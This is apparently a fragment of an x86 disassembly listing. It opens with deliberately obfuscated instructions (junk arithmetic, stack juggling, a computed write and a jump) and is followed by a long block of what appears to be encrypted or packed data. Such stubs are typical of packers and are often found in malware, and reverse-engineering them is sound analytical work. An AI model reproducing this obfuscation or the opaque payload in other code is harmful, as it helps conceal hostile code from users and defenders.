		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], eax
		mov	edi, 7C21472Dh
		dec	edi
		add	edi, 465E299Bh
		inc	edi
		dec	edi
		xchg	ebx, edi
		inc	ebx
		xchg	ebx, edi
		sub	edi, 0BA98FAA7h
		push	esp
		mov	eax, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, 8
		add	ebx, 7209334Ch
		add	ebx, eax
		sub	ebx, 7209334Ch
		mov	[ebx], edi
		pop	ebx
		mov	eax, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		jmp	loc_554887
; ---------------------------------------------------------------------------
		dw 704h
		dd 0B157CEB4h, 0E67A3DB8h, 0FFC50307h, 7FA7ADE0h, 42BE9E41h
		dd 180B5856h, 0D163223Eh, 79E2BD74h, 66752547h,	0EEC34B22h
		dd 0D890AA04h, 4FED1A3Eh, 42CD8A57h, 31B82F1Ah,	0B2BCDA05h
		dd 45A4230Bh, 3539166h,	0E5AFE31Bh, 0FC5F5D68h,	95675738h
		dd 8DA8764Dh, 6049920Ah, 931FB07Fh, 98D8D11h, 6A07E67Ch
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1A042444h
		dd 40000000h, 4001C350h, 0ECB71025h, 25B86614h,	158D8948h
		dd 6A07E018h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1A042444h, 45000000h, 0DC2AC355h, 3119FEE3h,	0E9958BBCh
		dd 0C707E033h, 0E0204985h, 746407h, 56006A00h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1904h,	0C3564600h, 0DA8FE7F4h
		dd 80BF4503h, 0C76E3ED0h, 0E022C585h, 7, 50C68100h, 0FF3B0940h
		dd 0E0085DB5h, 98E0F07h, 0F000000h, 386h, 0F38B6600h, 209195FFh
		dd 0DB8107E0h, 0B8D631h, 0DE8h,	0A8126700h, 5B0C23E7h
		dd 0E23CE1B5h, 0BF0FC22Fh, 6A5BF9h, 18A995FFh, 0C08B07E0h
		dd 0E1671FEBh, 957610BEh, 0F5216921h, 97EB5E57h, 0F0D7E96Dh
		dd 716508FEh, 182EB038h, 3DF94D7Bh, 13E8B8h, 0B8F90000h
		dd 0AF38C6DAh, 7887EA09h, 0F63173D1h, 0FC5D38Ah, 0BD89609Bh
		dd 7E02121h, 61F98B66h,	6880F5Bh, 1000000h, 0E0138DB5h
		dd 0C6C38107h, 8B00005Ah, 0E8C92BD0h, 11h, 5EEE1F7h, 50911EE2h
		dd 5E9A11AAh, 0B6E4D4B0h, 0C8816618h, 0FF5FAF93h, 8B661934h
		dd 9605EFEh, 0E00101BDh, 0EDBD2307h, 6107E00Dh,	2F3EE81h
		dd 958B0CA1h, 7E01729h,	5E6CF681h, 0C6816C1Ch, 67459B66h
		dd 0D340D781h, 34895400h, 8800F0Bh, 57000000h, 860Fh, 89580000h
		dd 0E02D699Dh, 4E98307h, 1A89BD29h, 0F98107E0h,	0FFFFA5ECh
		dd 0FFA1850Fh, 0B589FFFFh, 7E02E65h, 7DE78D8Dh,	6A07E6h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h, 53430000h
		dd 0C57586C3h, 999D23F1h, 6007E015h, 7E98589h, 0CB8B07E0h
		dd 158D8961h, 8B07E018h, 0E0295595h, 4985C707h,	2807E020h
		dd 6A00006Fh, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 19042444h, 40000000h, 560EC350h, 5A68503Fh, 22C585C7h
		dd 7E0h, 6A0000h, 3E852h, 5A200000h, 54895AC3h,	44810424h
		dd 1D0424h, 52420000h, 0C57E55C3h, 4CD7550Ch, 0FFCEBFF6h
		dd 0E02A35B5h, 53006A07h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1804h, 0C3534300h, 0BF804A82h, 49958BE8h
		dd 0FF07E02Fh, 0E0209195h, 52006A07h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1B04h,	0C3524200h, 642B7AE8h
		dd 685121ADh, 0BFF38B66h, 4E9187D7h, 95FF006Ah,	7E018A9h
		dd 7EEBC08Bh, 20113043h, 51CE46D9h, 0C9EF295Fh,	0A8F99E5Ch
		dd 98FC2594h, 0A66BA53Bh, 70F51053h, 988E779Ah,	0A808F0Dh
		dd 79376A6Eh, 13AF42F6h, 0C56A6452h, 7A964A70h,	0BD86F1C9h
		dd 6EC90121h, 520E6FAFh, 25BE1C91h, 7CCBE80Eh, 0F407C497h
		dd 0B84B8361h, 103A9CACh, 35166DB2h, 3AFE92ECh,	0FD2E4F8Ah
		dd 501B60F2h, 5D9DB974h, 0CAD7F3A1h, 9BE1BA11h,	2969F911h
		dd 60755381h, 0E8175784h, 155399AAh, 595DB167h,	56AEB8B3h
		dd 59AED132h, 56ABB1B0h, 56D5D032h, 0BFEAB377h,	5675B138h
		dd 8FC68494h, 3A1A1CE8h, 610E0F88h, 5651B377h, 151DB132h
		dd 728DF12Ch, 56EABBDAh, 0D90F3532h, 9E8B505h, 92FD892h
		dd 814D769h, 5657D068h,	56ABA0DBh, 5201A132h, 0E14B48ABh
		dd 76906775h, 0F9EE821Fh, 0D5520A07h, 56AEB135h, 56563D3Dh
		dd 5653B132h, 56D54832h, 375FE152h, 84F4D768h, 56DBC804h
		dd 51D0BE32h, 59AEB132h, 5657B0BBh, 56AB4432h, 56D95852h
		dd 9C65B132h, 182DDB0Bh, 513EA18Eh, 0B03C8E06h,	56AEEB60h
		dd 94E4B132h, 60CAE0AAh, 0A9BEAD3Eh, 0DFE5B132h, 5675B135h
		dd 56BB383Dh, 74A5B132h, 0DBAEED6Ch, 5657B137h,	736A3054h
		dd 5655BE09h, 37EAB132h, 589CB132h, 59BAB132h, 0C0E3DE2Dh
		dd 8796664h, 0FAC3F059h, 59ABB14Ah, 56D5B0B9h, 56EA4D32h
		dd 5675BADBh, 7CCA5432h, 0C85BFF50h, 6FD771D1h,	0DF58B132h
		dd 56ABB133h, 59D5B1CEh, 56EAA9B8h, 56665832h, 0D02DB132h
		dd 0DDEA74B9h, 7471D736h, 0BB4F9178h, 0D4F67557h, 0AFD5B199h
		dd 0D3E5B132h, 5675B12Eh, 56A85952h, 0DEF5B132h, 0C4CBFABCh
		dd 0C6F6D9AFh, 0B2BA5D50h, 50DDB82Fh, 37303A6Bh, 5E9CB132h
		dd 42BAB132h, 31595B06h, 56698C5Ch, 565F5832h, 20C7B132h
		dd 4FFEF4FBh, 56EA3396h, 54F8BE52h, 36BAB132h, 565DD053h
		dd 56A9363Dh, 0D637B132h, 9C20BEE3h, 56DC5853h,	903AB132h
		dd 2B300244h, 56E511B7h, 564E5832h, 87FEB132h, 20664229h
		dd 0DDF185F6h, 78B2F52Bh, 944D5197h, 0BF75B136h, 56BAB122h
		dd 2BE09BFFh, 0A8B68A7Fh, 0FDEB0652h, 8AC0FAF6h, 0BF20B132h
		dd 56EAB137h, 1CC0EB94h, 0BFBAB10Bh, 565DB13Fh,	5E6545F3h
		dd 64803A1Ah, 673CFEh, 0BFD5B1CFh, 56EAB13Dh, 0E4B0AD94h
		dd 0EECAF2C2h, 1345B929h, 564A9EC6h, 57D4BE32h,	0AEABB132h
		dd 56D5B6DBh, 2737832h,	21176CFFh, 0D1B5B132h, 565DB133h
		dd 0AFAEB1C7h, 4FDFBE52h, 0BEABB132h, 56D5B121h, 0FCA862ABh
		dd 0E4F9CB99h, 98C8323h, 26E91056h, 0DA190F1h, 3785063Dh
		dd 5F42B132h, 10D5B132h, 7DE12A21h, 94BB0845h, 36BAB1CAh
		dd 8A6240B3h, 0E9A1E5FFh, 0DE58D0CBh, 56ABB133h, 56D5B0C7h
		dd 56EAB632h, 0E97AD132h, 37E4E6E4h, 44B4B132h,	83AEB132h
		dd 977B5D9Dh, 1F93A152h, 0C0E523C4h, 0B8151FD2h, 51A249C9h
		dd 56BBB138h, 565AB12Fh, 56A7B130h, 565FB342h, 0D7A4B132h
		dd 56D5B130h, 56EAD052h, 5675BEDBh, 0A4BBB932h,	240E02Eh
		dd 5191D253h, 0C8C57DBBh, 5942B132h, 0C8D5B132h, 0ED4AF04Dh
		dd 0F8C732A0h, 16D670Bh, 565D29A2h, 56AEBDDBh, 59A77F32h
		dd 0E1866D2Eh, 2E8F5AD1h, 56EC5898h, 674BB132h,	468998E9h
		dd 50B4B132h, 0E4AEB132h, 0BA180906h, 36ABB1FEh, 0C7FD6E8Bh
		dd 568B4413h, 5077F832h, 0D6BAB132h, 2C719EDEh,	0D610D755h
		dd 5657D04Dh, 56B8333Dh, 0E0B5B132h, 56E058FAh,	77FB132h
		dd 40464AB1h, 0F61975B4h, 1FAEB153h, 5657BD30h,	502FBE32h
		dd 59D5B132h, 56EAB1BCh, 0D780D132h, 0FECE60C3h, 565DD02Eh
		dd 56A1363Dh, 0BF37B132h, 56ABB13Ah, 3933372Ah,	381A566Dh
		dd 56750F53h, 7CD7B132h, 9A320952h, 0A825A0E4h,	0BF07D053h
		dd 56ABB13Eh, 55670C26h, 91408B2h, 2D7FC49Eh, 999418A4h
		dd 0BD67D46Eh, 56A558AEh, 0A290B132h, 36C8232Fh, 0DA6A6F2Bh
		dd 9F6BD7E7h, 509C884Ah, 0E0BAB132h, 14D09585h,	37F72C61h
		dd 44BE2DA7h, 44ABB132h, 84C51D1h, 3CBFBD0Dh, 60A44969h
		dd 94B71505h, 589530E1h, 0BF9EA41Ch, 5657B126h,	1DB1740Eh
		dd 7133F01Ah, 9598CCE6h, 49CBC872h, 6D70845Eh, 565658AFh
		dd 52B9B132h, 26E493DFh, 0CAA4DFDBh, 0ED43D097h, 0EB0D0AFh
		dd 7B31E6A7h, 7F0A4250h, 0B381FE9Ch, 0CA33DA88h, 5657BADBh
		dd 0CBDFF632h, 0CF355220h, 3E68E6Ch, 0BF8D74B2h, 56BAB134h
		dd 5BF98604h, 373362F0h, 5273F5BBh, 5942E362h, 1DD5B132h
		dd 710CF01Ah, 9507CCE6h, 4904C872h, 6752845Eh, 5A472D52h
		dd 5257B132h, 261893DFh, 0CADADFDBh, 0D7C1CB97h, 5191F7FCh
		dd 56B65831h, 0B69B132h, 0F0E12E0h, 439B4E2Ch, 0DD36AA18h
		dd 0E8FD0E2h, 56EAD06Ah, 5675A0DBh, 5E60C332h, 0DBD28193h
		dd 0D7A2E06Fh, 7F2F9E6Ah, 56ABA970h, 0EDB3D152h, 0E1E580AFh
		dd 5C9CD0E2h, 17BAB132h, 69FD14DCh, 42E8BE88h, 5657D0CBh
		dd 56A6383Dh, 0EEB5B132h, 2E299AD0h, 5675373Dh,	56DBB132h
		dd 58B4D132h, 9AEB132h,	5563CA83h, 0FBB560Dh, 5A867396h
		dd 7352D1D9h, 0D7257D4Ch, 71FF89E0h, 593CD020h,	56AEA4B2h
		dd 59DDBE32h, 0BFABB132h, 56D5B138h, 0D1698CA0h, 0D02851C9h
		dd 56BAD9A3h, 0AF5DB1C7h, 56AEBFDBh, 80376632h,	0B199D9CAh
		dd 82C0239Fh, 56C44339h, 88CFD132h, 59BE0C16h, 563C698Dh
		dd 56AE4832h, 565A363Dh, 5E42B132h, 0FD5B132h, 5E501F47h
		dd 0BFF78DB3h, 56BAB122h, 95A8441Dh, 0B35EF526h, 0B9268368h
		dd 0F6203213h, 562DB132h, 3A5CD132h, 561454B8h,	56AE5832h
		dd 9F25B132h, 0E30C1235h, 3FB73690h, 4EA49D80h,	91AF3D90h
		dd 0E08A71E3h, 37E006AAh, 0DFB5B132h, 565DB135h, 56AF323Dh
		dd 56A2B132h, 5120BE32h, 36D5B132h, 826AD052h, 5915D090h
		dd 56BAB2B2h, 89D6D732h, 6A463064h, 0F48356Eh, 0BFABB153h
		dd 56D5B126h, 90FDF47Fh, 8FEE98A1h, 0BB363A8Dh,	68179903h
		dd 3B808E46h, 3037B132h, 595C718Bh, 56D5B1BEh, 0D78AD032h
		dd 3C808EC4h, 4653307Fh, 375803EEh, 4747B132h, 0D057B132h
		dd 10360930h, 0E2EC5D78h, 358484FAh, 4D14ADD0h,	5B53B132h
		dd 9D5DB132h, 516A264Eh, 1DD4D0C6h, 6C371D8Ah, 562DB132h
		dd 0D78CD132h, 0DDC156DAh, 0BFDAD0F0h, 565DB139h, 2C39F37Ch
		dd 0FF21BDE2h, 377578A3h, 0D6DAB132h, 56EAB12Eh, 56675952h
		dd 0E537B132h, 44EF0E38h, 7D7D9F7h, 0B6DF5B62h,	0F232C852h
		dd 372C3A6Ah, 5B03B132h, 0B375B132h, 28BE52B0h,	58E326D4h
		dd 0B783E01h, 0AFAEB132h, 4642B132h, 0F9D5B132h, 0DEB0AA40h
		dd 0C8FCC8C2h, 6A10EC2Eh, 56AD874Fh, 502ABE32h,	3657B132h
		dd 0C31AFF85h, 0A3D5B153h, 5913B132h, 5675BDB5h, 5036BE32h
		dd 595DB132h, 56AEB1B1h, 0BF57B132h, 56ABB13Ch,	5FBF319Dh
		dd 0CFA2606Dh, 10D1CF7h, 56BA7219h, 0AE5DB1CAh,	0AFAEB1C7h
		dd 0BF37B132h, 56ABB137h, 628A3741h, 37003B45h,	539CB132h
		dd 8BAB132h, 0EE21EF1Ch, 5652B132h, 56435832h, 0BA6CB132h
		dd 22AE4036h, 0C40F0908h, 492A262Fh, 1F598CDh, 5FB4170Ah
		dd 1EAEB132h, 20EC0550h, 500FEC2Ch, 30B5B132h, 3626E78Dh
		dd 0CAA23054h, 37100151h, 0BF5DB153h, 56AEB139h, 837E54FBh
		dd 0C347D7A1h, 56F83C6Dh, 5A64BE32h, 5975B132h,	56BAB7BEh
		dd 56DBBE32h, 56AEB132h, 56574932h, 36ABB1CBh, 0B72C1489h
		dd 5666BE11h, 3775B132h, 5F53B132h, 0A5DB132h, 51B6EB39h
		dd 1BDC3FFAh, 5653B132h, 56D35832h, 89B2B132h, 4044A2D6h
		dd 5153B132h, 0A95DB132h, 0AC4BE120h, 565763C7h, 0BFABB1CEh
		dd 56D5B122h, 249FC484h, 0ABD5828Bh, 0FAF884F6h, 1A6AF6BCh
		dd 5E47B132h, 4157B132h, 0F8B37AD6h, 561B7215h,	5968BE32h
		dd 0BF75B132h, 56BAB138h, 0FCD47C7Ah, 2C5A7B92h, 0BF37C0ADh
		dd 56ABB13Eh, 7742FE5Bh, 37C008E9h, 4CEF24EBh, 56BE3F3Dh
		dd 0E83BB132h, 56CF4DABh, 56475832h, 7F29B132h,	0FC430B26h
		dd 55233D95h, 0AD25F9F0h, 56BA7A39h, 564D5852h,	994DB132h
		dd 0C93CCDADh, 0D483884Ah, 12F812FAh, 9461BD99h, 0E913D153h
		dd 0BC3B4C31h, 3C4050DDh, 0BFAEB153h, 5657B13Fh, 0DFAA5052h
		dd 0EB09BD44h, 8E5501BDh, 3675B10Eh, 56BABBDAh,	0F02A1332h
		dd 398D4995h, 0BF9C0500h, 56ABB13Ch, 93913634h,	23E65418h
		dd 0CBC00EB1h, 0AEE425D3h, 365DB153h, 0BF5D3A54h, 5657B135h
		dd 5123A6C5h, 37C532CAh, 0D8E5B132h, 5675B123h,	56B1353Dh
		dd 50B4B132h, 9BAEB132h, 0DA0BC64Ah, 0BFABB15Eh, 56D5B120h
		dd 0D07AB4F6h, 12F3271Ch, 3A32B38h, 3886D180h, 56AE991Bh
		dd 5657BEDBh, 1A4F4B32h, 0B731D4FFh, 842C152Fh,	56A87A75h
		dd 5D53B132h, 0C65DB132h, 53A3EF13h, 0B772427Dh, 30CBF2BEh
		dd 56B479B9h, 8961D132h, 378E3A54h, 564FB132h, 50DBBE32h
		dd 36AEB132h, 0AEDCD7C7h, 36ABB153h, 56D73E3Dh,	0EBAB132h
		dd 5674363Dh, 374FB132h, 0D7B50252h, 4A5187EBh,	5657D06Fh
		dd 56AB44CAh, 56D5BDDBh, 3E084632h, 0C911FCCEh,	9CEB4289h
		dd 565D4D79h, 9E19BE52h, 5636EF63h, 572DBE32h, 0AFD5B132h
		dd 0DFE5B132h, 5675B127h, 56BAA1DBh, 610C6732h,	0B3FD8014h
		dd 0B41CCCE9h, 0EF073246h, 36D5B197h, 0BF8D59B2h, 5675B123h
		dd 4CC29BF4h, 0FBC59F02h, 8C7932BFh, 3A743649h,	0D4A4D044h
		dd 56D5B127h, 56EAA1DBh, 0D1BDF732h, 0F5139954h, 8E79A12Eh
		dd 0F92CC8D9h, 3657B1E1h, 0D7713A54h, 19CDFAFDh, 56EAD031h
		dd 5675BBDBh, 5CED3032h, 0A83AE519h, 59A3A787h,	5657B0B8h
		dd 56AB4832h, 56D4333Dh, 5913B132h, 5675B6BCh, 5732BE32h
		dd 0A35DB132h, 0D0A1B132h, 5657B13Eh, 0F9B40E52h, 966DD529h
		dd 37F697EDh, 568CB132h, 56BA4832h, 0C8B03152h,	0F77B0B54h
		dd 3657B153h, 56ABA3DAh, 5C5A2632h, 4FD71141h, 0AAC0AD44h
		dd 61A743BAh, 0BF718E30h, 56AEB135h, 0C8F4D257h, 0DB8B8C4h
		dd 37FC5DB2h, 5C03B132h, 2175B132h, 75F30B1h, 0ADF2CB96h
		dd 5725BE3Ah, 0AE57B132h, 0D0A4B132h, 56D5B13Ah, 56E8323Dh
		dd 3715B132h, 5D53B132h, 7B5DB132h, 36BB372Bh, 0A99E3156h
		dd 56ABEA61h, 56D5BCDBh, 34330532h, 0B3BF8269h,	0D1B393DEh
		dd 565D6763h, 56AF353Dh, 36AFB132h, 56AE303Dh, 0D7B3B132h
		dd 59F40BEBh, 5675B5B9h, 7703D732h, 565DD038h, 9111BE52h
		dd 37893A54h, 59CBB132h, 56B46285h, 5764BE32h, 0AF75B132h
		dd 5A53B132h, 0E25DB132h, 86AE8F0Ch, 84B60260h,	56742EDAh
		dd 56DD5832h, 4CA8B132h, 5D40CE80h, 56BAE58Fh, 565DB6DBh
		dd 0AE0B4732h, 6B5042E3h, 0D4A4B132h, 56D5B138h, 9E55BE52h
		dd 0F96E0089h, 0D7B5D047h, 565DB13Fh, 56AEB9DBh, 0E0BE5B32h
		dd 0C64543F9h, 59D5B13Bh, 56EABDB8h, 56725832h,	0D7B132h
		dd 5512242Eh, 36AEB11Ah, 0BF36D152h, 56ABB13Fh,	420563CBh
		dd 0F11306A1h, 0A3A3A627h, 0E9DCD054h, 563C397Ch, 56AE4832h
		dd 5650353Dh, 0D7A4B132h, 56D5B133h, 59EAB1C7h,	5675A5B3h
		dd 5C53D132h, 2E5DB132h, 20B2789Dh, 47C4FF0Bh, 8820D773h
		dd 0EA6FD153h, 37BF41E6h, 3015B132h, 0DDE8B28Ch, 565DD0F0h
		dd 1603A52h, 5657A2DBh,	0D21C8932h, 9C9C25BEh, 51FB4E1h
		dd 0C3F23CDBh, 6941A50Ah, 565DD06Bh, 0A3AEB1CBh, 5657A0DBh
		dd 747A2832h, 0F4C9040Eh, 25EA269Ah, 21F65C84h,	56BAF633h
		dd 565DBFDBh, 0BE4F9832h, 27EF07F6h, 0DC7A0027h, 562C87E6h
		dd 56EA4432h, 371B0752h, 36DAB132h, 37A5EB60h, 0E6CC0A54h
		dd 0BF57B153h, 56ABB121h, 7DCF6474h, 7A527AF6h,	128BA57Fh
		dd 4B3982F0h, 56C5D6ECh, 572EBE32h, 0AE57B132h,	0D6A4B132h
		dd 56D5B12Ch, 56FE5852h, 0B31B132h, 3F0B6C30h, 0FC0E5163h
		dd 0C31112E0h, 412A3E92h, 0DDCD5C5Ch, 56D5D0CCh, 56EAA3DBh
		dd 163C6B32h, 2E1FC2Fh,	0E7255665h, 70DE200Ch, 56725AA6h
		dd 8C1AD132h, 59B5D0CBh, 0E98C6A8Dh, 5614ACF7h,	5853D132h
		dd 665DB132h, 6E876FB5h
		dd 458C228Ah, 8A772CECh, 596CD1DFh, 59D9E872h, 5675B1BEh
		dd 56DBD032h, 565D4D32h, 56A25852h, 0E9F2B132h,	0C78ED255h
		dd 56D5BF3Fh, 0D78AD330h, 1BCC3DDAh, 376C3A55h,	55D1BE53h
		dd 36AEB132h, 5657D0CEh, 307D3052h, 0D697B660h,	568B06D6h
		dd 56754432h, 56BABDDBh, 4A1ECD32h, 0B62D382h, 0CF4B0B68h
		dd 59ABB113h, 56D5BDB2h, 506FBE32h, 5975B132h, 56BAB1BDh
		dd 0D052D132h, 56AEB130h, 0DD31EA64h, 56ABD0CAh, 56D5D052h
		dd 0DDEC0052h, 5675D0FCh, 0BFBAB1CAh, 565DB13Ch, 9E318A08h
		dd 79D9D584h, 8DF4826Ch, 56D5587Dh, 5561BE52h, 0D675B132h
		dd 0EDDC0DC7h, 0BF3CC51Ch, 56AEB13Dh, 6B072B99h, 6730707Bh
		dd 0E4F1C3BCh, 56C00C2Bh, 429DD132h, 0FBBAB132h, 60975B68h
		dd 5557AA15h, 0BF3D5100h, 94F63504h, 1158420h, 0AF8BEF68h
		dd 0D37AB132h, 56BAB138h, 8CD6D752h, 7F713054h,	5657D0ABh
		dd 0AFABB1CAh, 453CB132h, 2FEAB132h, 52658DBDh,	1BF54E67h
		dd 4E141B7h, 415008F5h,	51BEF6CBh, 68ABB132h, 0CEE2B25Eh
		dd 56EACD9Eh, 3675B1CAh, 56BAA3DBh, 34A8B32h, 76378C12h
		dd 9F6EBAE3h, 1CC45A84h, 0D621F079h, 598B6CEDh,	5675BBB2h
		dd 0EE8D132h, 565D313Dh, 56CFB132h, 56574832h, 56AA313Dh
		dd 562DB132h, 0D78CD132h, 59E093C0h, 56DB488Dh,	5CD0BE32h
		dd 36AEB132h, 56573D3Dh, 0FFAB132h, 0BFD5B153h,	56EAB134h
		dd 0F7CD3700h, 56BA66F2h, 5657363Dh, 30CEB132h,	3098738Ah
		dd 37ABA98Dh, 0D4DAB132h, 56EAB135h, 56743B3Dh,	5643B132h
		dd 0D70DD132h, 86DC71F1h, 37ABE920h, 0E8CBB132h, 46281DFFh
		dd 0DC213054h, 5675D007h, 56BABBDBh, 5F4AFF32h,	0F5355A50h
		dd 56E58B64h, 131FD132h, 56B464B8h, 5C61BE32h, 3675B132h
		dd 30F369B2h, 2DFB42B3h, 0A3AEB153h, 0DE58B132h, 56ABB133h
		dd 0BFD5B1CEh, 56EAB13Eh, 0F1909682h, 0FCB85C3h, 0A3784EF9h
		dd 36AEB1C7h, 0E55F79B3h, 0AC20C06Eh, 0BFD5B153h, 56EAB121h
		dd 0D30C452Dh, 93CDE656h, 0CA7D1FC9h, 0DC28D55Ch, 569D72F1h
		dd 56AB4D32h, 59D5B1CAh, 56EABDBEh, 50F7BE32h, 59BAB132h
		dd 565DB1B5h, 36AEB132h, 45BE79B9h, 0FFABB132h,	0AB1AA0CBh
		dd 7C9B36DBh, 0EA0747DBh, 10387766h, 563C5ED3h,	5C46D132h
		dd 257B132h, 1764944Bh,	44D273A2h, 0E8BD13Ah, 85943054h
		dd 5643D044h, 56535832h, 167CB132h, 528CF73Eh, 90E34984h
		dd 0FE20690Ch, 5616B132h, 56754932h, 56BABCDBh,	20204D32h
		dd 138414AAh, 9A74967Ch, 56AB033Eh, 0C33B3152h,	0A3EAB153h
		dd 5675A1DBh, 0B79C9632h, 566B7CFDh, 3C064EAAh,	32075AD3h
		dd 59ABB142h, 56D5BCB5h, 56E25832h, 71ACB132h, 2EC97336h
		dd 565D5C9Fh, 56B13C3Dh, 0D737B132h, 3ACEC4DAh,	56C75879h
		dd 40F3B132h, 9D031F0Bh, 761B2900h, 4AE4A43Bh, 0FDB15A74h
		dd 0AA57B153h, 5652B132h, 56C55832h, 32F8B132h,	523FDF18h
		dd 99E77AF5h, 37FFE65Bh, 56AE81D3h, 564F353Dh, 4542B132h
		dd 0FD5B132h, 93FF9CE8h, 0B1833563h, 3CE09C23h,	6F7614C9h
		dd 0BECE401Bh, 5657B121h, 86618506h, 25E6838Eh,	73D9BDC9h
		dd 7FEEE813h, 0D7D36EC1h, 324E82E2h, 56CFE90Bh,	0B5D7D132h
		dd 4A8C0901h, 56B495F1h, 56FA5832h, 0C3ABB132h,	0ACE4354Bh
		dd 0A36C4182h, 0DA26D7D5h, 5657E16Ah, 56A25952h, 0ECCAB132h
		dd 0B2FE925Dh, 0BF73B6C4h, 56BAB139h, 5186264Bh, 9B6E4627h
		dd 9AA0A23h, 0E9A44452h, 56B4D0E1h, 56E55832h, 0FACFB132h
		dd 5CD39914h, 8611C83Fh, 0FC1D1C3Ch, 0A357B100h, 5F42B132h
		dd 5CD5B132h, 0AC3D1298h, 0E9BBFDFDh, 5953B132h, 0A55DB132h
		dd 852F1834h, 49F16E38h, 0E9AB428Eh, 56D5025Ah,	56EB3A3Dh
		dd 568DB132h, 56BA4932h, 565B58CEh, 0E2B6B132h,	0A236EE2Bh
		dd 0D7A4B132h, 56D5B134h, 0DC8BD152h, 5675D0ECh, 0AABAB1CAh
		dd 595DB1CEh, 56AEB0BCh, 56574832h, 56ABA2DBh, 0FB9D5432h
		dd 0E029BECFh, 0D8466E0Fh, 6A64618Eh, 8FDC5EE3h, 5652B132h
		dd 51D7BE32h, 59ABB132h, 56D5B0BFh, 56EA4832h, 88F4D752h
		dd 943A8D2Bh, 303DD069h, 56CF7EB9h, 56505832h, 5338B132h
		dd 0AF43DA87h, 0BFEAB1C2h, 5675B137h, 0B0F3F993h, 365DB10Ah
		dd 474765B8h, 0C657B132h, 62FA64C5h, 48C0CD23h,	9C141390h
		dd 0B12B8F0h, 59BAB153h, 565DA7BFh, 4627BE32h, 0BF57B132h
		dd 56ABB139h, 88AC3EEEh, 0DF4F7059h, 562DEF00h,	56BA4432h
		dd 0BF5DB1C7h, 56AEB126h, 6B10D547h, 1FB2D754h,	0EE2F237h
		dd 63FAA2A7h, 0AD152374h, 56B4313Dh, 5FB4B132h,	7BAEB132h
		dd 5E2AB74Dh, 23C14508h, 0D1DAB132h, 56EAB13Fh,	5675B9DBh
		dd 3B193932h, 0C019F3EFh, 36AEB17Eh, 37940E3Dh,	5653B132h
		dd 56D35832h, 0ED15B132h, 39A70F21h, 0AA46B132h, 50B4B132h
		dd 2AEB132h, 3CA160B7h,	0BFABB19Dh, 56D5B121h, 0C57E9FC6h
		dd 0CC759905h, 5F810D95h, 10A3B79Ch, 0A3D47867h, 56A2B132h
		dd 0DDCDD132h, 56DD59F1h, 0C2FEB132h, 0C8050843h, 51531F17h
		dd 45DB132h, 0A399075Fh, 370D1B3Fh, 4242B132h, 68D5B132h
		dd 0ABBD0B85h, 6C767013h, 0F9DBD96Fh, 7CE32ACAh, 56D64572h
		dd 56574432h, 0FE890A52h, 0D2DAE024h, 56EAB130h, 5614F080h
		dd 5B52D132h, 0F25DB132h, 88939E31h, 2C0A1DB5h,	0C5DA3F7Ch
		dd 0F36958B3h, 0AAB5C28Ch, 41F5BE53h, 59BAB132h, 565DA0B9h
		dd 56A25832h, 0A8F8B132h, 40CF0F7Fh, 6FA4A56Ch,	56EA0975h
		dd 0BF75B1CAh, 56BAB138h, 3029E629h, 4285FB7Dh,	56574B3Eh
		dd 36ABB1CAh, 56D5A5DAh, 8317D232h, 0EB6E9A3Dh,	0FC5D796h
		dd 0BA4C75ABh, 0A8DF229Ch, 97DCD7ADh, 902AD76Bh, 56B476B0h
		dd 56EA4432h, 789D152h,	8730D06Ch, 365DB153h, 534766B8h
		dd 0DE57B132h, 0B8FBA404h, 0BFD5B153h, 56EAB121h, 344CA3ECh
		dd 2791CCC9h, 408FBE34h, 1DE8CD3Eh, 561BE72Fh, 56AC5832h
		dd 0AF9EB132h, 7B945C61h, 5975B143h, 56BAADB1h,	40D5BE32h
		dd 0BFAEB132h, 5657B123h, 942E96A2h, 54619A98h,	0BDA0BE3Ch
		dd 0CF7F8C71h, 56AE58A5h, 34C9B132h, 48B0683Ah,	0E914FC47h
		dd 267E8547h, 0B0014B88h, 56EA322Fh, 567548CEh,	36BAB1CEh
		dd 0DCA3063Dh, 59CED0EBh, 0D731468Dh, 378EB6C4h, 5620B132h
		dd 765FD132h, 5675D0CEh, 59BAB1C7h, 565D9DB7h, 5D47D132h
		dd 9057B132h, 0DCD9BD3Eh, 0BDEF2805h, 42028DA1h, 6275B132h
		dd 0ABDB9795h, 1351E4E9h, 8A1B4DC2h, 428155C6h,	0EAEFB7Bh
		dd 36D5B153h, 0D9E562B9h, 5675B131h, 37AE7FB2h,	59B4B132h
		dd 0FAEB132h, 7E257BBCh, 0C64C9C7h, 0DCD19EA6h,	56EAF55Bh
		dd 56754DCAh, 56AC393Dh, 0D152B132h, 56AEB122h,	5657BADBh
		dd 0A192F032h, 56314F86h, 48995934h, 0D27AB132h, 56BAB123h
		dd 565DBDDBh, 0AA719132h, 8A511D28h, 0DF288E4Dh, 0BFD5B182h
		dd 56EAB13Ah, 0E8B6E672h, 0C4473FB0h, 928A3052h, 3792042Dh
		dd 0DA58B132h, 56ABB13Eh, 296FD752h, 566BBE91h,	3775B132h
		dd 0BFDAB132h, 565DB120h, 0F2E0012Ah, 0C0A237CBh, 0E7AA88A1h
		dd 62F32157h, 568B2B3Eh, 56754832h, 56BAB6DBh, 5FE82232h
		dd 0F69B4362h, 37AE3B52h, 565EB132h, 56C55832h,	15EBB132h
		dd 0B6AB9DE1h, 0B5325254h, 7AF3FE38h, 0D0A11E59h, 5657B12Bh
		dd 56B83E3Dh, 583CB132h, 0F1EAB132h, 0A3A3A627h, 240C9F54h
		dd 5EEA7D4Eh, 36AEB1A6h
		dd 8560854h, 0AFABB153h, 56D5B8DBh, 0BE826F32h,	509D12A7h
		dd 56BA7932h, 5642353Dh, 0D0A1B132h, 5657B12Bh,	56ABA5DBh
		dd 2C396C32h, 0CBC41E15h, 5DF2629Eh, 0BCC89DD5h, 0DD121C20h
		dd 56A7584Eh, 532EB132h, 0B8177D01h, 56444048h,	56FA5832h
